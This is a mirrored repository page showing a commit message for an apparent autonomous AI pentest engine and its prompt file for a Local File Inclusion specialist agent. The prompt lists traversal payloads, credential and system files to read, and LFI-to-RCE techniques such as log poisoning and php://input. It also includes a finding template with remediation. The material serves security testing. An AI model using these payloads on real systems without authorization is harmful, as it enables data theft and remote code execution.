mirror of
https://github.com/CyberSecurityUP/NeuroSploit.git
synced 2026-07-01 01:05:31 +02:00
55af0d4634
Re-model the pentest agent into an autonomous, markdown-driven engine that turns a URL into a full engagement and delegates execution to a locally installed agentic CLI backend. Engine (neurosploit_agent/ + ./neurosploit launcher): - orchestrator composes ONE master prompt from the agent library + RL weights - backends: auto-detect & drive Claude Code / Codex / Grok CLI (+ Claude subscription); headless, autonomous, isolated workdir - mcp: Playwright MCP (.mcp.json) for browser-based proof-of-execution - rl: bounded per-agent reinforcement-learning weights w/ per-tech affinity, persisted to data/rl_state.json - models: latest registry incl. NVIDIA NIM provider (PR #28) - cli: interactive URL prompt + one-shot `run`, `backends`, `agents`, --dry-run Agent library (agents_md/, 213 total): - 196 vuln specialists incl. modern LLM/AI, cloud/K8s, API/auth, advanced injection, protocol smuggling, logic/crypto/supply-chain classes - 17 meta-agents: orchestrator, recon, exploit_validator, false_positive_filter, severity_assessor, impact_evaluator, reporter, rl_feedback + migrated expert roles - scripts/build_agents.py data-driven builder; REGISTRY.md index Docs: rewritten README.md, v3.3.0 RELEASE.md, .env.example (NVIDIA NIM, xAI, engine vars). Retire legacy Python orchestration (neurosploit.py + agent classes) to legacy/. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
56 lines
2.0 KiB
Markdown
56 lines
2.0 KiB
Markdown
# Local File Inclusion Specialist Agent
|
|
|
|
## User Prompt
|
|
You are testing **{target}** for Local File Inclusion (LFI).
|
|
|
|
**Recon Context:**
|
|
{recon_json}
|
|
|
|
**METHODOLOGY:**
|
|
|
|
### 1. Identify File Parameters
|
|
- Parameters containing file paths: `page=`, `file=`, `include=`, `template=`, `path=`, `doc=`, `view=`, `lang=`
|
|
- Test with: `../../../../etc/passwd`
|
|
|
|
### 2. Traversal Payloads
|
|
- Basic: `../../../etc/passwd`
|
|
- Null byte (PHP <5.3): `../../../etc/passwd%00`
|
|
- Double encoding: `..%252f..%252f..%252fetc%252fpasswd`
|
|
- UTF-8 encoding: `..%c0%af..%c0%af..%c0%afetc/passwd`
|
|
- Dot truncation: `../../../etc/passwd......................` (256+ chars)
|
|
- Wrapper: `php://filter/convert.base64-encode/resource=index.php`
|
|
|
|
### 3. OS-Specific Targets
|
|
**Linux:**
|
|
- `/etc/passwd`, `/etc/shadow`, `/proc/self/environ`
|
|
- `/var/log/apache2/access.log` (for log poisoning → RCE)
|
|
- `/proc/self/cmdline`, `/proc/self/fd/0`
|
|
|
|
**Windows:**
|
|
- `C:\windows\win.ini`, `C:\windows\system32\drivers\etc\hosts`
|
|
- `C:\inetpub\wwwroot\web.config`
|
|
|
|
### 4. LFI to RCE
|
|
- Log poisoning: Inject PHP in User-Agent → include access log
|
|
- PHP wrappers: `php://input` with POST body containing PHP code
|
|
- `/proc/self/environ` injection via headers
|
|
- Session file inclusion: `/tmp/sess_[PHPSESSID]`
|
|
|
|
### 5. Report
|
|
```
|
|
FINDING:
|
|
- Title: Local File Inclusion in [parameter] at [endpoint]
|
|
- Severity: High
|
|
- CWE: CWE-98
|
|
- Endpoint: [URL]
|
|
- Parameter: [param]
|
|
- Payload: [exact traversal payload]
|
|
- File Read: [which file was read]
|
|
- Evidence: [file contents in response]
|
|
- Impact: Source code disclosure, credential theft, RCE via log poisoning
|
|
- Remediation: Allowlist valid files, avoid user input in file paths, chroot
|
|
```
|
|
|
|
## System Prompt
|
|
You are an LFI specialist. LFI is confirmed when file contents appear in the response. The classic proof is reading `/etc/passwd` and seeing `root:x:0:0:`. Path traversal without file contents shown is NOT confirmed LFI — it could be 404 or error handling. Always try multiple depths (`../` counts) and encoding variations.
|